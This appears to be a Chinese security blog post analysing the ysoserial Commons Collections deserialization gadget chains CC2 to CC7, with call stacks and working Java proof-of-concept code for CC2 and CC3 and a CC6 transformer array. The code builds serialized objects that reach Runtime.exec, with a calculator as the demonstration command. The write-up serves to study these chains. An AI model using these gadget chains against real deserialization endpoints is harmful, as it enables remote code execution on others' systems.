CommonCollections2-7利用链分析
2021-03-02   # JAVA安全

CommonCollections2

commons-collections4.0

利用链分析

先看 ysoserial 的 Gadget

1
2
3
4
5
6
7
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

与 cb1 链类似,利用 PriorityQueue 反序列化的时候会对队列中的元素使用比较器的 compare 方法即 comparator.compare() 去处理。

image-20210302141409482

cc2 链使用的比较器是 TransformingComparator,直接看 TransformingComparator.compare()

image-20210302141604737

在比较前会用自身 transformer 的 transform 方法处理 queue 中的值,TransformingComparator.transformer 为InvokerTransformer ,继续看 InvokerTransformer 的 transform() 方法。

image-20210302142138615

利用反射调用对象 input 的任意方法,方法名为自身的 this.iMethodName 属性,参数啥的也都是自身属性。

分析到这应该就明白 cc2 链是如何执行命令的了,只要找到一个能够执行命令的方法即可。ysoserial 用的是 TemplatesImpl,通过调用 TemplatesImpl 中的 newTransformer() 方法或者 getOutputProperties() 可以加载字节码执行命令。具体可以看 TemplatesImpl利用链分析

image-20210302142804183

总结

自己写代码实现一下整条链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package payload;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import java.util.PriorityQueue;

public class CommonCollections2 {
public static void main(String[] args) throws Exception {
// 直接用 ysoserial 的 Gadgets.createTemplatesImpl创建一个恶意 templates 类
String args1 = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
final Object templates = Gadgets.createTemplatesImpl(args1);

// 构造 InvokerTransformer 设置 iMethodName 为 newTransformer 或者 getOutputProperties,参数类型和参数值根据调用的方法设置就行
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);


// 构建 TransformingComparator 比较器设置 transformer 为我们构造的 invokerTransformer
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);



// 创建 PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, transformingComparator);


//向里PriorityQueue添加构造的恶意 templates,触发比较,就不通过反序列化触发比较了
queue.add(templates);
queue.add(templates);



}
}


触发比较后成功弹出计算器。

image-20210302145522382

用 getOutputProperties() 方法也是一样的,两个方法都是无参的,参数类型和参数值都设置成 null 就行

image-20210302145739943

CommonCollections3

commons-collections3.1和CommonsCollection1一样,也是利用 AnnotationInvocationHandler` 动态代理机制触发,高版本的 jdk8 无法利用

利用链分析

先看 ysoserial 是如何构造的。

image-20210302152620733

cc3 这条链基本一样,cc1 主要通过调用 ChainedTransformer 的 transform 方法,从而链式调用 Transformer 数组里元素的 transform 方法,最后通过 AnnotationInvocationHandler+LazyMap#get() 触发 ChainedTransformer 的 transform 方法,具体可以看 CommonCollections1链分析

cc3 与 cc1 唯一的不同就是 Transformer 数组

CC1 是通过 InvokerTransformer#transform() 方法里的反射调用机制来执行命令

1
2
3
4
5
6
7
8
9
10
11
12
new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),

new InvokerTransformer("exec",new Class[] { String.class }, execArgs),
new ConstantTransformer(1)

CC3 构造的 Transformer 数组如下

1
2
3
4
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl }

ConstantTransformer 的作用是包裹一个对象,在调用其 transform 方法时返回这个对象,这里返回的就是 TrAXFilter 类对象,然后作为 InstantiateTransformer#transform() 方法的参数。看 InstantiateTransformer 的 transform() 方法

image-20210302154315855

调用 input 的 getConstructor() 方法,其作用是重载构造函数,接着通过 newInstance() 方法调用它的构造函数,这里就是调用 TrAXFilter 的构造函数,继续看 TrAXFilter 的构造函数

image-20210302155208191

这里会调用 templates#newTransformer() 方法,看到这里应该明白 CC3 是如何执行命令的了,还是通过 TemplatesImpl 。TemplatesImpl 的 newTransformer() 方法可以加载字节码执行命令。

总结

InstantiateTransformer#transform() 方法 可以调用任意类的构造函数

TrAXFilter 类的构造函数会调用 templates 的 newTransformer() 方法

然后配合 ChainedTransformer 的 transform 方法的链式调用和 TemplatesImpl 利用链

写代码实现一下整条链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package payload;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections3 {
public static void main(String[] args) throws Exception {
// 直接用 ysoserial 的 Gadgets.createTemplatesImpl创建一个恶意 templates 类
String args1 = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Object templatesImpl = Gadgets.createTemplatesImpl(args1);

// 构造 Transformer 数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
// 参数类型为 TemplatesImpl ,值为构造的 templates
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl}),
};


// 后边与 CC1 一样
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);

Map innerMap = new HashMap();

Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

//实例一个 AnnotationInvocationHandler 类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);

// 创建 AnnotationInvocationHandler 的代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

// 在实例化一个 AnnotationInvocationHandler 包裹我们的代理对象 proxyMap
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();


System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

image-20210302162126024

CommonCollections4

commons-collections4.0

利用链分析

CC4 其实就是 CC2 的前半段 + CC3 的后半段组合一下。

image-20210302162751915

总结

CC2 是通过 PriorityQueue 反序列化的时候会对队列中的元素使用比较器的 compare 方法即 TransformingComparator#compare() 去处理,在 TransformingComparator#compare() 中会调用 InvokerTransformer 的 transform 方法处理 queue 中的值。

CC3 则是通过 AnnotationInvocationHandler+LazyMap#get() 触发 ChainedTransformer 的 transform 方法从而执行命令

两个组合一下把 CC2 的 InvokerTransformer 替换成 CC3 里的ChainedTransformer 就得到 CC4 了

CommonCollections5

commons-collections3.1BadAttributeValueExpException 触发所以高版本的 jdk8 也可以利用,有SecurityManager 限制,在 jdk 8u76之后,需要没有设置security manager才能触发这条gadget

利用链分析

在 CC1 中是通过 AnnotationInvocationHandler#invoke() 方法调用 lazyMap#get() 进而调用 ChainedTransformer#transform(),AnnotationInvocationHandler 类的 readObject 方法中并没有直接调用到 Map 的 get 方法,所以只能通过 java 动态代理机制去触发,而 CC5 就是找到了一个在 readObject 方法 中调用了 lazyMap#get() 的类。

直接看后半部分

1
2
3
4
5
6
7
8
9
10
11
12
....

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return val;

这个类就是 BadAttributeValueExpException

1
2
3
4
// 这段就是通过反射机制设置 val的 val 为 entry 
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

看 BadAttributeValueExpException 的 readobject 方法

image-20210302175053634

在 BadAttributeValueExpException#readobject() 调用了 TiedMapEntry#toString() ,注意前面有个 if ,需要满足System.getSecurityManager() == null,也就是没有设置 SecurityManager,在 jdk 8u76之后,需要没有设置security manager才能触发这条gadget。

image-20210302175141956

在 TiedMapEntry#toString() 里调用了 TiedMapEntry#getValue()

image-20210302175613232

最终在 TiedMapEntry#getValue() 方法里调用了 lazyMap#get() ,后面就是 CC1 链的内容了。

总结

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

CommonCollections6

commons-collections3.1 由 BadAttributeValueExpException 触发,比较通用的一个版本

利用链分析

CC6 与CC5 一样都是对 CC1 的改进,CC5 是用 BadAttributeValueExpException#readobject 调用 TiedMapEntry#getValue() 从而调用 LazyMap#get(),而 CC6 换成了 HashSet

ysoserial 里的 CC6 链做了很多优化,看起来很复杂,这是网上的简化版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");

//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);

看 HashSet 的 readobject() 方法

1
2
3
4
5
6
7
8
9
10
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
......
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

调用了 map.put() ,这里的 map 就是 HashMap

image-20210302183233785

继续看 HashMap#put()

image-20210302183718799

在 HashMap#put() 会用 HashMap#hash() 处理 key 继续跟进,这里的 key 就是前边构造的 TiedMapEntry

image-20210302184652108

这里调用了 key.hashCode() 也就是 TiedMapEntry#hashCode(),继续看 TiedMapEntry#hashCode()

image-20210302184812406

在TiedMapEntry#hashCode() 里调用了自身的 getvalue 方法

image-20210302185135224

在这里调用了 map.get() 也就是 lazyMap#get() ,后面就和 CC1 一样了

总结

调用栈:

1
2
3
4
5
6
7
8
9
10
11
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

CommonCollections7

commons-collections3.1 由 HashTable 触发,比较通用的一个版本

利用链分析

CC7 同 CC6 与CC5 一样都是对 CC1 的改进,CC7 用的是 Hashtable

image-20210303113147348

直接看 Hashtable#readobject()

image-20210303113244652

调用了自身的 reconstitutionPut() 方法

image-20210303113357299

在 HashTable#reconstitutionPut() 会将 HashTable 里的键名(key)互相比较,payload 中我们构造 HashTable 时存入了两个LazyMap 作为 key。所以这里相当于调用了 LazyMap#equals()

LazyMap 类并没有实现 equals() 方法,在它的父类 AbstractMapDecorator 里定义了。

image-20210303113804993

在AbstractMapDecorator#equals() 又会调用 this.map.equals() 这里的 this.map 是构造 LazyMap 时的 HashMap

image-20210303123658274

继续看 HashMap#equals() ,在 HashMap 的父类 AbstractMap 里定义的 equals()

image-20210303124114485

在这里就调用了 lazyMap#get() ,后面就和 CC1 一样了

image-20210303124420614

在构造 LazyMap 的时候分别 put 了两个键值 yy zZ。

image-20210303124736520

原因是在 HashTable#reconstitutionPut() 中进入 e.key.equals(key)需要满足e.hash == hash,也就是 key 的 hashcode 需要相同,打印下”yy”和”zZ”的 hashCode 之后会发现哈希值是一样的。

1
2
System.out.println("yy".hashCode()); // 3872
System.out.println("zZ".hashCode()); // 3872

后边 lazyMap2.remove(“yy”);是因为hashtable有两次put的操作,在第二次hashtable.put(lazyMap2, 2);时,会触发LazyMap 的 get 方法,会新增一个 key/value 值相同的键值对,所以此时会多出一个yy

image-20210303125503819

总结

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec